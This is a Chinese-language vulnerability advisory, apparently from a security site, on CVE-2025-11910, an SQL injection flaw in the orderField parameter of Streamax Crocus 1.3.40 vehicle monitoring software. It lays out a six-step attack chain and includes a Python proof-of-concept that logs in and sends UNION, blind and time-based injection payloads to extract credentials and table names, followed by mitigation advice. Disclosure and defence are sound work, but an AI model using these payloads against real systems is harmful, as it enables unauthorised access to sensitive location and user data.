IPBUF安全漏洞报告
English
CVE-2025-11910 CVSS 6.3 中危

CVE-2025-11910:Streamax Crocus系统SQL注入漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11910
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Shenzhen Ruiming Technology Streamax Crocus

相关标签

SQL注入CVE-2025-11910StreamaxCrocus深圳锐明车载监控中危漏洞远程利用orderField注入MemoryState.do

漏洞概述

CVE-2025-11910是深圳锐明技术股份有限公司(Shenzhen Ruiming Technology)旗下Streamax Crocus车辆监控系统1.3.40版本中存在的一个SQL注入安全漏洞。该漏洞位于系统的/MemoryState.do?Action=Query接口的Query函数中,攻击者可以通过操纵orderField参数注入恶意SQL语句,从而实现对后端数据库的未授权访问和操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。攻击者可以通过网络远程发起攻击,仅需低权限认证即可利用,无需用户交互。漏洞的成功利用可能导致数据库中的敏感信息泄露、数据被篡改以及数据库服务的可用性受到影响。

值得注意的是,该漏洞的利用细节已经公开披露,供应商在漏洞披露前已被联系但未作出任何回应。这意味着该漏洞存在被恶意利用的实际风险,尤其是在车载监控、视频远程监控等业务场景中,系统中可能存储有大量敏感的位置数据、行车记录和用户信息,一旦被攻击者利用,后果将十分严重。建议相关用户尽快采取防护措施,监控相关接口的异常访问行为。

技术细节

该漏洞存在于Streamax Crocus 1.3.40版本的/MemoryState.do?Action=Query接口中。具体而言,系统在处理前端传入的orderField参数时,未对该参数进行充分的过滤和参数化处理,直接将其拼接到后端SQL查询语句中,导致攻击者可以通过构造特殊的SQL片段注入到原始查询中执行。

技术原理方面,当应用程序使用字符串拼接的方式构建SQL查询语句时,如果未对用户输入进行严格的验证、转义或使用预编译参数化查询(PreparedStatement),就会产生SQL注入漏洞。攻击者可以利用ORDER BY子句的orderField参数注入UNION SELECT等SQL语句片段,从而执行任意SQL命令。

利用方式上,攻击者首先需要获得系统的低权限认证凭据(如普通用户账号),然后向目标接口发送包含恶意orderField参数的HTTP请求。由于该漏洞为远程可利用且无需用户交互,攻击者可以通过自动化工具批量扫描和利用存在漏洞的系统。攻击成功后,攻击者可以读取数据库中的敏感信息(如用户凭证、个人信息、车辆轨迹数据等),修改或删除数据库记录,甚至在特定条件下通过数据库特性执行系统命令,进一步控制整个应用服务器。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过Shodan、ZoomEye等搜索引擎或网络空间测绘工具识别暴露在公网上的Streamax Crocus 1.3.40版本系统,确定攻击目标。
STEP 2
步骤2:获取低权限凭证
攻击者通过社会工程学、凭证填充(Credential Stuffing)或购买泄露的数据库等方式获取系统的低权限用户账号。
STEP 3
步骤3:登录认证
使用获取的低权限账号登录系统,获取有效的Session会话凭证,为后续攻击建立认证通道。
STEP 4
步骤4:构造SQL注入Payload
针对/MemoryState.do?Action=Query接口的orderField参数,构造恶意SQL注入Payload,如UNION SELECT语句或时间盲注语句。
STEP 5
步骤5:发送恶意请求
通过认证会话向漏洞接口发送包含恶意orderField参数的HTTP请求,触发后端SQL注入漏洞。
STEP 6
步骤6:数据提取与利用
利用SQL注入漏洞读取数据库中的敏感信息(如管理员凭证、车辆轨迹数据、用户个人信息等),或进一步提权控制整个系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11910 PoC - Streamax Crocus SQL Injection # Vulnerability: SQL Injection via orderField parameter in /MemoryState.do?Action=Query # Author: Security Researcher # Affected Version: Streamax Crocus 1.3.40 import requests TARGET_URL = "http://target-host" USERNAME = "low_privilege_user" PASSWORD = "password123" # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login.do" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit SQL injection via orderField parameter # The vulnerable endpoint: /MemoryState.do?Action=Query # The orderField parameter is directly concatenated into SQL query vulnerable_endpoint = f"{TARGET_URL}/MemoryState.do?Action=Query" # Payload examples for SQL injection via orderField payloads = [ # Basic injection test "id;SELECT 1--", # UNION-based injection to extract data "id UNION SELECT username,password FROM users--", # Boolean-based blind injection "id AND 1=1", "id AND 1=2", # Time-based blind injection "id;WAITFOR DELAY '0:0:5'--", # Extract database version "id UNION SELECT @@version,NULL--", # Extract table names "id UNION SELECT table_name,NULL FROM information_schema.tables--" ] for i, payload in enumerate(payloads): params = { "orderField": payload, "page": "1", "rows": "10" } print(f"\n[*] Testing payload {i+1}: {payload}") response = session.get(vulnerable_endpoint, params=params) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if "error" not in response.text.lower(): print(f"[+] Possible successful injection! Response preview:") print(response.text[:500])

影响范围

Streamax Crocus 1.3.40

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过防火墙或访问控制列表(ACL)限制/MemoryState.do接口的访问来源,仅允许可信IP访问;2)在Web服务器或反向代理层面部署WAF规则,拦截包含UNION、SELECT、INSERT、DELETE等SQL关键字的异常请求;3)监控该接口的访问日志,识别异常的orderField参数值;4)对数据库进行最小权限配置,限制应用账户的数据库操作权限;5)加强凭证管理,强制用户使用强密码并启用多因素认证,防止低权限凭证泄露;6)定期备份数据库,以便在遭受攻击时能够快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表